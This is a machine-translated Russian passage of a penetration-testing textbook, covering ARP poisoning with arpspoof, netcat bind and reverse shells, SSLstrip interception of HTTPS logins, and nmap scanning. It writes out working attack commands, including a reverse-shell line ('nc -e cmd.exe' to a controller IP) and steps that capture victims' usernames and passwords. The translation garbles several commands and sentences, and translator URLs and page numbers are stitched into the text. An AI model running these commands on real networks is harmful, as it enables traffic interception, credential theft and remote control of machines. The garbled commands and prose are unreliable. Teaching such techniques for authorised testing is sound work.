заинтересованы в просмотре интернет-трафика системы А, вы знаете, что все такие
трафик должен проходить через маршрутизатор. Любой пакет, покидающий систему A и
предназначенные для Интернета, необходимо перенаправить в вашу систему. Также любой
пакет, поступающий из Интернета через маршрутизатор и предназначенный для системы A
необходимо перенаправить в вашу систему. Таким образом, вам интересно увидеть оба
направления трафика, исходящий и входящий. И поскольку это будет
двунаправленного перехвата, вам нужно будет отравить кеш ARP
маршрутизатора, а также системы A.

https://translate.googleusercontent.com/translate_f 77/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Что вы будете делать, так это отправлять поддельные ARP-ответы; один к роутеру
а другой - системе A. В ответе ARP, отправленном маршрутизатору, будет указано, что
система A находится на вашем MAC-адресе, и ответ ARP отправлен системе A
будет утверждать, что маршрутизатор тоже находится на вашем MAC-адресе. Следующая таблица
показать детали для этих пакетов:
Тип пакета Исходный MAC MAC-адрес назначения Информация о входе
1 ARP CC: CC: CC: CC: CC: CC 11: 22: 33: 44: 55: 66 192.168.0.11 - это @
Отвечать CC: CC: CC: CC: CC: CC
2 ARP CC: CC: CC: CC: CC: CC AA: AA: AA: AA: AA: AA 192.168.0.1 - это @

Стр.104

Отвечать CC: CC: CC: CC: CC: CC

И маршрутизатор, и система A сохранят информацию в своих соответствующих


Кеш ARP. Посмотрим, что произойдет, когда система A захочет связаться с
сайт в Интернете. Исходящий пакет будет содержать следующие
адреса:

Исходный IP-адрес : 192.168.0.11 (IP-адрес системы A).


IP-адрес назначения : IP-адрес внешнего веб-сайта.
(разрешено DNS).
MAC-адрес источника : AA: AA: AA: AA: AA: AA (MAC
адрес системы A).
MAC-адрес назначения : CC: CC: CC: CC: CC: CC (из
Кэш ARP).
Причина, по которой MAC-адрес назначения будет CC: CC: CC: CC: CC: CC
потому что ОС знает, что ей нужно отправить этот пакет через шлюз
роутер 192.168.0.1. И после проверки кеша ARP обнаруживает, что MAC
адрес этого шлюза CC: CC: CC: CC: CC: CC. Следующая диаграмма
покажет, как этот пакет будет проходить по сети:

Как мы видим, когда пакет достигает коммутатора, коммутатор пересылает


это вам в системе C; это потому, что MAC-адрес назначения
зарегистрирован коммутатором как принадлежащий к физическому порту, на котором
https://translate.googleusercontent.com/translate_f 78/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
система прилагается. Теперь ваша ответственность снова направить пакет в
фактический роутер. Таким образом, система C будет действовать как маршрутизатор и как таковая будет
перенаправить пакет на фактический маршрутизатор шлюза, регулируя MAC-адреса
как необходимо. Теперь маршрутизатор шлюза получит пакет и перешлет его.
во внешний мир.

Стр.105

Аналогичная история имеет место, когда пакет с внешнего веб-сайта


предназначенный для системы A. Теперь маршрутизатор шлюза будет перенаправлять
пакет для вас в системе C, прежде чем вы действительно направите его снова в систему A.
На следующей диаграмме показано, как возвращаемый пакет будет проходить по сети:

Таким образом, теперь вы можете захватывать весь трафик, идущий туда и обратно между
система А и Интернет. В следующем разделе мы рассмотрим, как
практически выполнить эту атаку вместе с необходимыми инструментами.
Arpspoof
Это инструмент командной строки, разработанный Dug Song вместе с другими
инструменты взлома сети, которые вместе называются пакетом D-Sniff.
Arpspoof предназначен для выполнения одной конкретной задачи, а именно отравления
любой ARP-кеш любой системы в локальной сети. Как только вы укажете
цель и ложную информацию, Arpspoof отправляет поддельный ARP-ответ каждые
второй (по умолчанию). Arpspoof предустановлен в Kali Linux.
Однако перед запуском Arpspoof нам необходимо сделать предварительный шаг;
нам нужно включить в нашей системе возможность IP-переадресации (маршрутизации). Без
IP-переадресация, перехваченные пакеты не будут продолжать свой маршрут к
место назначения; они остановятся в нашей системе, вызывая отказ в обслуживании. Арпспуф,
как инструмент, не выполняет за нас маршрутизацию. Итак, мы должны включить его в системе
используя некоторую системную команду.
Чтобы включить переадресацию IP, мы можем ввести в окне терминала любой из
следующие команды:
# sysctl -w net.ipv4.ip_forward = 1
ИЛИ

Стр.106

# эхо 1> / proc / sys / net / ipv4 / ip_forward


https://translate.googleusercontent.com/translate_f 79/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

После того, как вы введете любую из двух вышеперечисленных команд, ваша система будет вести себя как
роутер. На самом деле это означает, что как только ваша система получит
пакет, предназначенный для вашего MAC-адреса, но не для вашего IP-адреса, ваш
система изменит MAC-адрес источника пакета на свой собственный MAC
адрес и измените MAC-адрес назначения на тот, который связан с
IP-адрес назначения.
Теперь мы готовы запустить Arpspoof. Arpspoof может отравить одну цель
только или он может отравить две цели одновременно. Глядя на диаграмму
выше, поскольку мы хотим перехватить сетевой трафик между системой A и
маршрутизатор-шлюз, мы можем сделать это, используя любой из следующих двух методов:
Способ 1
Мы запускаем два экземпляра Arpspoof - каждый в отдельном окне терминала -
где каждый экземпляр отравляет одну из наших целей следующим образом:

На Терминале 1:

# arpspoof -i eth0 -t 192.168.0.11 192.168.0.1


Это отправит поддельный ARP-ответ целевой (-t) системе A
(192.168.0.11) содержащий ложную информацию о том, что шлюз
(192.168.0.1) находится на MAC-адресе нашей системы C ( MAC
адрес выбирается автоматически Arpspoof ).

На Терминале 2:

# arpspoof -i eth0 -t 192.168.0.1 192.168.0.11


Это отправит поддельный ARP-ответ на целевой (-t) маршрутизатор шлюза.
(192.168.0.1), содержащий ложную информацию о том, что система A
(192.168.0.11) находится на MAC-адресе нашей системы C ( MAC
адрес выбирается автоматически Arpspoof ).
Вы должны, чтобы эти две команды работали на соответствующих терминалах.
не останавливая и не прерывая их. Arpspoof будет продолжать присылать подделку
ARP Ответить каждую секунду - по умолчанию.
Способ 2
Мы можем добиться того же результата, выполнив одну команду, например

Стр.107

следующий:
# arpspoof -i eth0 -t 192.168.0.1 -r 192.168.0.11
Обратите внимание, что не имеет значения, какой IP-адрес вы назначаете параметру -t или -
r переключатели. Здесь важно указать две системы, которыми вы являетесь.
интересует. Теперь Arpspoof будет отправлять два поддельных ARP-ответа каждую секунду.
Первый ответ будет отправлен на маршрутизатор шлюза, отравив его кеш с помощью false
информация о системе A, и второй ответ отправляется системе A
отравление своего кеша ложной информацией о шлюзе-маршрутизаторе.
Связывание и обратная оболочка с Netcat
Обзор
Одна из самых важных вещей при взломе и тестировании на проникновение - это
поддерживать удаленный доступ к жертве. Такой удаленный доступ позволит нам
управлять скомпрометированной системой удаленно с максимально возможной

https://translate.googleusercontent.com/translate_f 80/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
привилегии.
лежащий в основеХотя существуют разные
протокол, все формыодин
они имеют удаленного доступа
общий аспект, на основе
и это
возможность выполнять команды оболочки в целевой системе. В Unix / Linux
system, оболочка предоставляется программой / bin / bash (или более старой
/ bin / sh), в то время как в системе Windows доступ к оболочке осуществляется с помощью программы
% WINDIR% \ System32 \ cmd.exe. Таким образом, любая удаленная оболочка в одном виде или
другой будет задействовать любую из этих программ. Мы будем использовать
/ bin / bash для доступа к оболочке через TCP-соединение с Unix / Linux,
и мы будем использовать% WINDIR% \ System32 \ cmd.exe, чтобы сделать то же самое для
Система Windows.

Здесь стоит упомянуть, что традиционно были сетевые


сервисы, предназначенные для предоставления системам легитимной удаленной оболочки; и эти
сервисами являются Telnet и более безопасный SSH (Secure Shell). Эти
службы работают, прослушивая определенный TCP-порт (23 в случае Telnet и 22
в случае SSH), и как только клиент подключается к этому порту, служба запрашивает
клиент для аутентификации; и после успешной аутентификации клиент
может удаленно управлять сервером, отправляя команды, которые выполняются на
сервер. Ответы отправляются обратно клиенту по тому же протоколу. Мы
Следует отметить, что «клиент» - это контроллер, а «сервер» - это
контролируется. Клиент инициирует соединение с сервером, а затем он

Стр.108

выдает команды серверу. Это показано на изображении ниже:

Однако, когда мы проводим взлом в белой шляпе, мы не всегда


хотите использовать такие службы, как Telnet или SSH; скорее, мы хотим что-то
это быстро, незаметно и гибко.
Войдите в Netcat
Netcat называют «швейцарским армейским ножом» для взлома сети. Это
универсальный инструмент, используемый для всех видов сетевых манипуляций. Несколько из
встроенные функции netcat:

Подключение к любой службе TCP / UDP и отправка текста или двоичного файла
данные.
Прослушивание любого порта TCP / UDP и получение данных.
Выполнение определенной программы при определенных условиях.
Перенаправление портов, проксирование и туннелирование трафика.
Разрешение DNS, прямое и обратное.
Сканирование портов.
Захват пакетов.

В этом руководстве мы будем работать только с первыми тремя упомянутыми функциями.


выше, чтобы иметь два типа доступа оболочки к удаленному компьютеру. Эти два типа
являются: связанная оболочка и обратная оболочка .

https://translate.googleusercontent.com/translate_f 81/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Привязать
«Привязка» оболочку
- это термин в сетевом программировании, который означает назначение порта
номер к конкретному сокету. Привязка зарезервирует номер порта для
конкретная сетевая служба, которая будет прослушивать соединения по этому
порт. На примере Telnet мы можем сказать, что Telnet связывает порт 23 со своим
разъем. Связывание оболочки с netcat предоставит нам ту же модель, что и Telnet.
или SSH предоставляет; то есть клиент - это управляющая система, а сервер

Стр.109

это управляемая система.

Чтобы настроить оболочку связывания с Netcat, мы сделаем следующие действия на


сервер:

Укажите Netcat на прослушивание определенного номера порта, например, 12345.


Прикрепите либо / bin / bash, либо% WINDIR% \ System32 \ cmd.exe к
Netcat.

И эти действия выполняются вместе с простой командой:

# netcat -v -l -p 12345 -e / bin / bash Система UNIX / Linux


> nc –v –l –p 12345 –e cmd.exe Система Windows

Наконец, на нашей клиентской машине мы введем следующую команду, чтобы


подключиться к серверу и в конечном итоге управлять им - при условии, что IP-адрес сервера
адрес 192.168.56.1:

netcat 192.168.56.1 12345


Обратная оболочка
Одним из недостатков «bind shell» является то, что если целевая система - та, которую мы
хотите контролировать - находится за брандмауэром, наш порт прослушивания может быть заблокирован.
Давайте еще предположим, что брандмауэр блокирует все входящие порты на
целевая система и разрешает только определенные исходящие порты. Это
целевая система может установить соединение с внешним миром через определенные порты. В
В этом случае мы не можем использовать bind shell. Следующая диаграмма иллюстрирует это
сценарий:

В этом сценарии мы собираемся установить наш слушатель в управляющей системе,


а затем проинструктируйте целевую систему инициировать соединение с нашим управляющим

Стр. Решебника 110

https://translate.googleusercontent.com/translate_f 82/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

система. Таким образом, система управления теперь является сервером, поскольку это
один прослушивает определенный номер порта - в то время как целевая система является клиентом.
Именно поэтому этот тип оболочки называют «обратной» оболочкой. В
направление установления соединения противоположно направлению команд:

Чтобы реализовать это с помощью Netcat, нам нужно установить слушателя на нашем управляющем
система. В этом примере мы будем использовать номер порта 12345:

netcat –v –l –p 12345

Затем в целевой системе мы выполним любую из этих команд,


в зависимости от ОС:

# netcat –e / bin / bash 192.168.56.100 12345


> nc –e cmd.exe 192.168.56.100 12345
Резюме
В следующей таблице приведены команды и шаги для установки привязки.
оболочка или обратная оболочка на целевой системе. Опять же, мы предполагаем, что IP
адрес целевой системы 192.168.56.1, а IP-адрес
система управления 192.168.56.100:

Привязать оболочку Обратная оболочка


Шаг На мишени На контроллере
#1 netcat -v -l -p 12345 -e / bin / bash netcat –v –l –p 12345

Стр. Решебника 111

Шаг На контроллере На мишени


#2 netcat 192.168.56.1 12345 netcat –e / bin / bash 192.168.56.100 12345

Взлом SSL / TLS с использованием SSLstrip


Во время вашего теста на проникновение, особенно если это внутренний тест на проникновение, вы не можете
но выполнять любое перенаправление трафика (обычно выполняется через ARP
отравление) и анализ трафика. Анализ сетевого трафика дает представление о
тип систем, которые существуют в сети, их настроенные сетевые службы,
и, что более важно, это позволит вам захватывать любой текст, чувствительный к
данные, такие как имя пользователя и пароли. С отравлением ARP вы сможете
захват трафика в коммутируемых или даже беспроводных сетях. И без таких
активное перенаправление, вы не сможете захватить такой трафик вообще.

https://translate.googleusercontent.com/translate_f 83/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Чтобы понять ценность и важность SSLstrip, нам нужно понимать
как веб-браузеры ведут себя и реагируют на HTTP и HTTPS. В старом
дней, большое внимание уделялось тому, чтобы дать пользователю положительный отзыв
всякий раз, когда соединение было через правильный HTTPS. Однако если HTTPS
был сломан из-за неправильного цифрового сертификата (например, сертификат с истекшим сроком действия,
несоответствие имени или самозаверяющий сертификат), ошибка, выданная пользователю, была
незначительные и нормальные пользователи попадут в ловушку принятия таких
неправильный HTTPS. Это резко изменилось за последние годы. Интернет
браузеры устранили множество своих фантастических положительных отзывов и вместо этого запустили
чтобы все больше и больше сосредотачиваться на предоставлении пользователю отрицательной обратной связи
существует неправильная связь по протоколу HTTPS. Теперь пользователю очень сложно
принять самоподписанный сертификат, например, так как ему придется пройти через
несколько экранов, перемещающихся по его пути, чтобы сделать вывод, что только ИТ
сделают профессионалы. Такое изменение в поведении веб-браузеров вызвало
старые методы захвата SSL / TLS - например, подделка поддельного самоподписанного
сертификат посередине - бесполезен.

Это привело к тому, что автор SSLstrip Мокси Марлинспайк изобрел новый роман.
способ перехвата связи SSL / TLS. На самом деле это не нападение на
HTTPS в той же степени, что и атака на HTTP; особенно он использует
HTTP 302 Redirect, который заставляет браузер переключаться с HTTP-запроса на
запрос HTTPS.

Стр.112

Перенаправление HTTP 302


Пользователи обычно вводят имя сайта, к которому они хотят получить доступ, без
префикс http: // или https: // - они просто набирают название сайта, например
www.some_domain.com прямо в адресную строку. И они нажали "Enter". В
поведение по умолчанию - на данный момент - большинства веб-браузеров, таких как Internet Explorer,
Firefox, Google Chrome, Safari и т. Д. Должны добавить префикс http: // и отправить
HTTP-запрос к веб-серверу. Если сайт использует строго HTTPS - с
нет версии HTTP, скорее всего, он настроен на перенаправление браузера на
Ссылка HTTPS. Это делается с помощью HTTP 301 Redirect (также известного как Moved
Навсегда) ответ. Так обстоит дело со многими крупными сайтами, использующими HTTPS,
например www.linkedin.com, www.facebook.com и www.hotmail.com. К
Чтобы проиллюстрировать это, давайте посмотрим на заголовки HTTP запроса и
Ответить при попытке доступа к www.linkedin.com:

1. Пользователь вводит в поле URL www.linkedin.com и нажимает


входить.
2. Браузер по умолчанию выдает пакет HTTP-запроса,
выглядит так:

3. После получения пакета HTTP-запроса веб-сервер


https://translate.googleusercontent.com/translate_f 84/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
отвечает HTTP 302 перемещено постоянно перенаправление сообщения
браузер на сайт HTTPS. Ответ выглядит так:

Стр.113

4. Когда браузер получает ответ "Перенаправить", он выдает новый


Запрос на новое местоположение, встроенный в этот ответ перенаправления - и
в нашем случае это https://www.linkedin.com. И так как это
HTTPS, браузер сначала установит соединение SSL / TLS.
Остальное общение теперь происходит по HTTPS.

Использование 302 редиректа


Если мы сможем как-то перехватить HTTP 302 Redirect и изменить
Location: параметр, мы будем контролировать, какой следующий запрос от браузера
будет. И если мы удалим s из https: //, браузер будет
понятия не имею, что удаленный сайт доступен через HTTPS; он отправит
HTTP-запрос как обычно. Здесь роль инструмента SSLstrip. Это лишит
s ответа Redirect, сохраните карту изменения, и когда браузер
пытается получить доступ к удаленной ссылке, SSLstrip снова добавит s и
отправить запрос на сервер.

SSLstrip будет посредником, расположенным между клиентом (браузером).


и сервер. Он перехватит все сообщения между ними. В
клиент не заметит действия SSLstrip; с его точки зрения, все
связь, кажется, работает исключительно через HTTP. Более того, сервер будет
не замечаем наличия SSLstrip посередине. И с его точки зрения,
все коммуникации, похоже, работают по HTTPS.

Мы можем проследить, как происходит атака, анализируя заголовки HTTP как

Стр. Решебника 114

https://translate.googleusercontent.com/translate_f 85/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

следует:

1. Пользователь вводит имя сайта без префикса, и браузер выдает ошибку.


HTTP-запрос к веб-серверу. HTTP-запрос выглядит так
это:

2. HTTP-запрос будет перехвачен SSLstrip, и поскольку он


первый пакет в сообщении, он передаст его - с небольшим
модификация - на сервер. Измененный HTTP-запрос выглядит
нравится:

3. Веб-сервер получает HTTP-запрос и, как обычно,


сгенерируйте ответ HTTP 302 Redirect следующим образом:

4. Ответ HTTP Redirect будет перехвачен SSLstrip; а также


вот и настоящая магия этого невероятного. Он переключится
https на http и отправьте ответ клиенту. Конечно, держит

Стр.115

отслеживать изменение. Разрезанный ответ выглядит так:

5. Теперь браузер получает сообщение HTTP Redirect, но теперь


Местоположение, к которому он должен подключиться, находится через http, а не https! Я выдам
новый HTTP-запрос следующего содержания:

https://translate.googleusercontent.com/translate_f 86/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

6. Теперь SSLstrip перехватывает этот HTTP-запрос; и поскольку у него есть


карту предыдущего изменения, он знает, что должен инициировать
https- соединение с веб-сервером. Будет SSL / TLS
рукопожатие между SSLstrip ( спуфинг клиента ) и Интернетом
сервер. Как только туннель SSL / TLS установлен и SSLstrip
получает фактический веб-контент, он пересылает его в
браузер через HTTP. Ниже приведен первый пакет, отправленный на
клиент после угона:

Стр.116

https://translate.googleusercontent.com/translate_f 87/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Запуск SSLstrip
Чтобы успешно запустить SSLstrip, нам нужно перехватить трафик между
цель (жертва) и шлюз (маршрутизатор). Это делается с помощью отравления ARP.
атака:

Стр.117

Включить переадресацию IP

# sysctl –w net.ipv4.ip_forward = 1

Очень важно, чтобы наша система Kali Linux работала как маршрутизатор, чтобы
перехват трафика - с использованием ARP-отравления - становится успешным.

Запустить ARPspoof

# arpspoof -i eth0 –t <цель> -r <маршрутизатор>

Постоянно травить кеши ARP цели и маршрутизатора


(шлюз), в результате чего трафик между целью и Интернетом становится
перенаправлен в систему Kali.

Как только наше ARP-отравление будет обработано, мы можем перейти к настройке NAT.
(Трансляция сетевых адресов) правило с переадресацией портов. Это правило NAT будет
ищите пакеты, предназначенные для порта 80 (http), и как только есть совпадение, это
затем пакет внутренне перенаправляется на SSLstrip. Другими словами, SSLstrip будет
внутренне прослушивать определенный порт (например, 8080), чтобы его присутствие
не быть известным внешнему миру. Наша система Linux (Kali) перенаправит любой
HTTP-пакет на SSLstrip для волшебной работы.

Добавление правила NAT с перенаправлением портов

https://translate.googleusercontent.com/translate_f 88/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 118

# iptables –t nat –A PREROUTING –j REDIRECT –p tcp \


–- порт назначения 80 –- порт 8080

-t нат Правило - это правило трансляции сетевых адресов (NAT).


-ПЕРЕДАЧА правило применяется до того, как пакет получит
проложен.
-j ПЕРЕНАПРАВИТЬ соответствующий пакет перенаправляется.
-p tcp протокол.
- порт назначения 80 применить правило к пакетам, предназначенным для HTTP
(порт 80).
- к порту 8080 перенаправить пакеты на порт 8080 ( который будет
использоваться sslstrip ).

Запустить SSLstrip

# sslstrip –l 8080

SSLstrip теперь будет работать и прослушивать порт 8080, на который HTTP-пакеты


будет перенаправлен в соответствии с правилом NAT выше.

Пора подождать, пока жертва подключится к защищенному веб-сайту, отправив сначала


HTTP-запрос, на который сервер ответит HTTP-перенаправлением.
SSLstrip сделает свое волшебство, и пользователю не будет выдано сообщение об ошибке.
сообщение. Вся операция будет безупречной. Например, если пользователь
подключается к www.linkedin.com, в браузере отображается:

Стр. Решебника 119

https://translate.googleusercontent.com/translate_f 89/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Когда пользователь отправляет имя пользователя и пароль, SSLstrip регистрирует данные.


в файл sslstrip.log в текущем рабочем каталоге. Набрав кот
sslstrip.log, теперь вам представлены учетные данные (session_key и
session_password):

Заключительные примечания
В настоящее время существует тенденция настраивать веб-сайты по протоколу HTTPS. Мы видим это все больше
в настоящее время, как веб-сайты переходят с HTTP на HTTPS с помощью
внедрение SSL / TLS путем установки доверенных цифровых сертификатов. Все
«Большие» сайты - например, google.com, hotmail.com, youtube.com, facebook.com,
linkedin.com, wikipedia.org, bing.com и многие другие - уже
реализован SSL / TLS. Единственная оставшаяся проблема - это то, что сеть
браузер по умолчанию сначала отправляет запрос через HTTP, если пользователь не вводит
явно префикс https: //. Можно ожидать, что когда-нибудь в будущем,
такое поведение по умолчанию изменится; и до этого времени SSLstrip всегда будет
Работа.

Стр. Решебника 120

Модуль 05 Сетевое и системное сканирование.


Вступление
Если вы, тестер на проникновение, провели надлежащий сбор разведданных,
к настоящему времени вы должны знать диапазон общедоступных IP-адресов вашей цели
организация. Такой диапазон IP-адресов можно получить из WHOIS.
баз данных или из записей DNS. В качестве альтернативы вы могли бы получить
Диапазон IP-адресов во время первоначальной встречи с целью. И в
в случае внутреннего тестирования на проникновение вы также получили бы
диапазон частных IP-адресов целевой локальной сети.
После установки диапазона сетевых адресов,
внешние / общедоступные или внутренние / частные, действия, необходимые для проникновения
Тестер можно резюмировать следующим образом:

I. Host Discovery : обнаружение живых хостов или систем в пределах


сетевой диапазон.
II. Сканирование портов : обнаружение открытых портов на каждом действующем хосте.
III. Идентификация службы : определение актуальной версии службы
работает на каждом открытом порту.
IV. Отпечатки операционной системы : откройте для себя операционную систему
работает на каждом хосте.
Каждый из вышеперечисленных шагов будет объяснен в отдельном разделе ниже. Тем не мение,
к счастью, есть один мощный хакерский инструмент, который выполняет эти действия

https://translate.googleusercontent.com/translate_f 90/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
работает эффективно: это инструмент nmap . Он предустановлен в Kali Linux.
А его домашняя страница:
https://nmap.org
В следующих разделах вы узнаете, как использовать nmap для выполнения каждого из
четыре действия, упомянутые выше.
Обнаружение хоста
Нельзя недооценивать важность обнаружения хоста. Как проникновение
тестировщики, мы не хотим тратить время на попытки сканировать несуществующие
системы. Такие попытки потратят много времени и ресурсов.
Существуют разные методы обнаружения активных хостов в заданном диапазоне сети.
или подсеть. Ни один из этих методов не может обнаружить всех живых хостов с абсолютным

Стр. Решебника 121

уверенность. Другими словами, всегда есть возможность пропустить определенные хосты.


если цель приняла дополнительные меры для их сокрытия. Вредоносные хакеры, которые
не связаны временными ограничениями, могут пытаться сканировать каждый порт на каждом IP-адресе
адрес в пределах сетевого диапазона. С другой стороны, этические хакеры и
Тестеры на проникновение ограничены во времени. По этой причине это
необходимо для обсуждения действия по обнаружению хоста с целевым клиентом и
создайте надлежащий прицел.
Методы обнаружения хоста разделены на три категории в зависимости от протокола.
используется - ICMP, TCP или UDP:
Методы на основе ICMP
Эти методы используют протокол ICMP для обнаружения узлов списка. Сканирование
машина, то есть злоумышленник или этический хакер, инициирует запрос ICMP и
ждет ответа. Если есть ответ, предполагается, что удаленный хост включен и
работает - то есть жив.
Есть разные типы пакетов ICMP. Каждый тип представлен
номер в пакете ICMP. Давайте посмотрим на поля пакета ICMP[1] :

Есть три пары типов, которые полезны для обнаружения живых хостов. Эти
пары следующие:

1. Эхо-запрос / ответ (т. Е. Эхо-запрос)


« Пинг » - это традиционный и наиболее распространенный способ определения того,
удаленный хост жив или не работает. Сканирующий аппарат отправляет эхо
Запрос на IP-адрес назначения; если он получает эхо-ответ от
этот адрес, то удаленный хост (с таким IP-адресом) является
считается запущенным. В противном случае он считается отключенным. Эхо ICMP
Запрос обозначается типом 8, в то время как эхо-ответ имеет тип
номер 0 .
Однако многие системные администраторы отключают «пинг» на

https://translate.googleusercontent.com/translate_f 91/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 122

публичные / внешние серверы. Таким образом, пинг не очень надежен. Какие


кажется мертвым IP-адресом может быть активным хостом, но настроенным на
игнорировать эхо-пакеты ICMP. Также брандмауэры можно настроить на удаление
входящие эхо-запросы ICMP.
Сканирование ICMP Echo можно включить в Nmap с помощью ключа: -PE

2. Запрос / ответ отметки времени


Другой способ узнать, жив ли удаленный хост или нет, - это отправить
запрос отметки времени ICMP и дождитесь ответа. Номер типа
ICMP Timestamp Request - 13, а ответ - 14 .
Обнаружение меток времени можно включить в Nmap с помощью переключателя: -PP

3. Запрос / ответ маски адреса


Третий метод обнаружения ICMP - использование маски адреса.
Запрос (тип 17 ) и ответ (тип 18 ).
Обнаружение адресной маски можно включить в Nmap с помощью переключателя: -
ВЕЧЕРА
Методы на основе TCP
Если методы ICMP не смогли определить, что удаленный хост жив, мы можем
прибегают к использованию протокола TCP. Эти методы используют протокол TCP,
структура пакета, описанная ниже[2] :

Стр. 123

https://translate.googleusercontent.com/translate_f 92/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Одна интересная часть TCP-пакета - это поле опций, а именно:


U : URG или срочно, A : ACK или подтверждение, P : PSH или Push, R : RST
или Reset, S : SYN или Synchronization и F : FIN или Finish. Установка этих
варианты в разных комбинациях дадут нам разные способы обнаружить или
сканировать цель.
Кроме того, методы TCP работают аналогично методам ICMP в том, что этические нормы
хакер отправляет TCP-пакет и ждет ответа. Ответ указывает, что
удаленный хост жив.
В основном существует два метода обнаружения хоста TCP:

1. TCP SYN Ping


Этот метод включает отправку TCP-пакета с включенной опцией SYN на
один или несколько портов. Операционные системы обычно отвечают либо
Пакет SYN_ACK - если порт открыт - или пакет RST, если порт открыт.
закрыто. Любой ответ указывает на то, что удаленный хост активен.
Рекомендуется отправлять несколько пакетов TCP SYN Ping наиболее
общие порты. Эти порты: 21 , 22, 23 , 25 , 80 , 113 , 443 и
31339 .
Если порты не указаны, Nmap по умолчанию использует порт 80 для TCP SYN.
Пинг . SYN Ping можно включить с помощью переключателя ( -PS <ports> ).

Стр. Решебника 124

Например: -PS21,22,23,25,80,113,443,31339

2. Пинг TCP ACK


Этот метод включает отправку TCP-пакета с установленным флагом ACK.
Обычно операционные системы отвечают пакетом RST независимо от того,
порт назначения открыт или закрыт. Получение пакета RST
указывает, что удаленный хост активен.
Рекомендуется отправлять несколько пакетов TCP ACK Ping большинству
общие порты. Эти порты: 21 , 22, 23 , 25 , 80 , 113 , 443 и
31339 .
Если порты не указаны, Nmap по умолчанию использует порт 80 для TCP ACK.
Пинг . ACK Ping можно включить с помощью переключателя ( -PA <ports> ).
Например: -PA21,22,23,25,80,113,443,31339
Метод на основе UDP
Протокол UDP - это протокол без подключения, пакеты UDP не могут запрашивать никаких
ответ от удаленного хоста, даже если порт открыт. Таким образом, это не
рекомендуется отправлять UDP-пакеты на открытый UDP-порт. Однако отправка
UDP-пакет на закрытый порт будет запрашивать пакет ICMP Port Unreachable .
Чтобы использовать протокол UDP для обнаружения хоста, мы отправляем UDP
пакет на порт, который, скорее всего, будет закрыт, т. е. с очень большим номером порта.
Если мы получаем пакет ICMP Port Unreachable, это означает, что удаленный хост
https://translate.googleusercontent.com/translate_f 93/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
в живых.
UDP Ping можно включить в Nmap с помощью переключателя ( -PU <порт> ). Для
пример: -PU40125
Мы можем поместить все предыдущие методы обнаружения хостов в одну строку с Nmap как
следует:
#nmap -PE -PP -PM -PS21,22,23,25,80,113,443,31339
-PA21,22,23,25,80,113,443,31339 -PU40125 –sn <диапазон IP-адресов>

Сканирование портов
Теперь, когда у тестера проникновения есть список активных хостов, нужно перейти к следующему шагу.
через каждый действующий IP-адрес хоста и сканировать все или некоторые порты TCP / UDP.
Сканирование портов - это процесс определения того, какой порт закрыт, а какой -
открытым. Открытый порт - это порт, на котором есть прослушивающая сетевая служба, в то время как
закрытый порт - это порт, который не используется хостом. Каждый открытый порт - это потенциальный

Стр. Решебника 125

дверь в цель. Таким образом, важно получать точные результаты.


по поводу открытых портов. На каждый протокол приходится 65535 портов: TCP и
UDP.
Не обязательно сканировать все порты в тесте на проникновение. Однако это
всегда рекомендуется сканировать их все. Некоторые спецификации соответствия, например
PCI-DSS, требует, чтобы все порты были просканированы для целевой организации.
проверенный.
Когда дело доходит до сканирования TCP-портов, существуют разные методы и
техники; однако есть только один метод сканирования портов UDP.
Сканирование TCP-порта
Сканирование TCP-порта включает отправку TCP-пакета в порт назначения и
ждет ответа. Существуют разные методы сканирования TCP-портов.
Каждый метод предполагает определенное использование флагов опций TCP . В
В следующих разделах описаны наиболее распространенные методы сканирования TCP:

1. Сканирование TCP-соединения (также известное как полное сканирование)


Этот метод использует полное рукопожатие TCP, отсюда и название « полное
сканирование », чтобы выяснить, открыт порт или нет. Кроме того, это
выполняется с помощью системного вызова «connect ()» операционной
Система, отсюда и название «Подключить сканирование». Следующие диаграммы
проиллюстрируйте этот метод:

Это самая простая форма сканирования портов. Обычно то же самое


процедура выполняется для каждого сканируемого порта. Это медленно по сравнению с

https://translate.googleusercontent.com/translate_f 94/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 126

другие методы. Кроме того, этот метод легко обнаружить и зарегистрировать.


системой обнаружения вторжений (IDS).
В Nmap этот метод можно включить с помощью ключа -sT . Для
пример:
#nmap –Pn -sT 1-1024 192.168.1.1

2. TCP SYN сканирование (также известное как Half Scan).


Если мы внимательно рассмотрим предыдущий метод, мы увидим, что можем
идентифицировать открытый порт, как только мы получим пакет SYN_ACK от
цель. Там нет нет необходимости посылать ACK пакет , который завершает
Рукопожатие TCP. Таким образом, мы можем ускорить сканирование, опуская этот
последний пакет; и это также снизит трафик и вычислительную мощность.
Поскольку рукопожатие не завершено, такой метод сканирования
называется « половинное сканирование ». И поскольку все, что нам нужно отправить, это первый SYN
пакет, этот метод называется « SYN-сканирование ». Следующие диаграммы
проиллюстрируйте этот метод следующим образом:

Когда был разработан этот метод сканирования, он использовался для обхода IDS и
другие системы мониторинга. И поэтому он получил название «стелс».
В то время приложения и системы не регистрировали неполные
рукопожатие. Однако современные системы регистрируют этот тип сканирования.
Этот метод сканирования очень быстр по двум причинам: во-первых, он не требует
в системном вызове « connect ()» для инициирования сеанса TCP; это скорее
запрограммировано - с помощью программирования сокета - прямо в сканирование

Стр. Решебника 127

программное обеспечение, таким образом, минуя уровни операционной системы, которые могут замедлить
вниз по процессу. Во-вторых, поскольку рукопожатие не завершено,
сканер не беспокоит отправку пакета ACK, тем самым сокращая время
и вычислительная мощность, что, в свою очередь, ускорит сканирование
процесс.
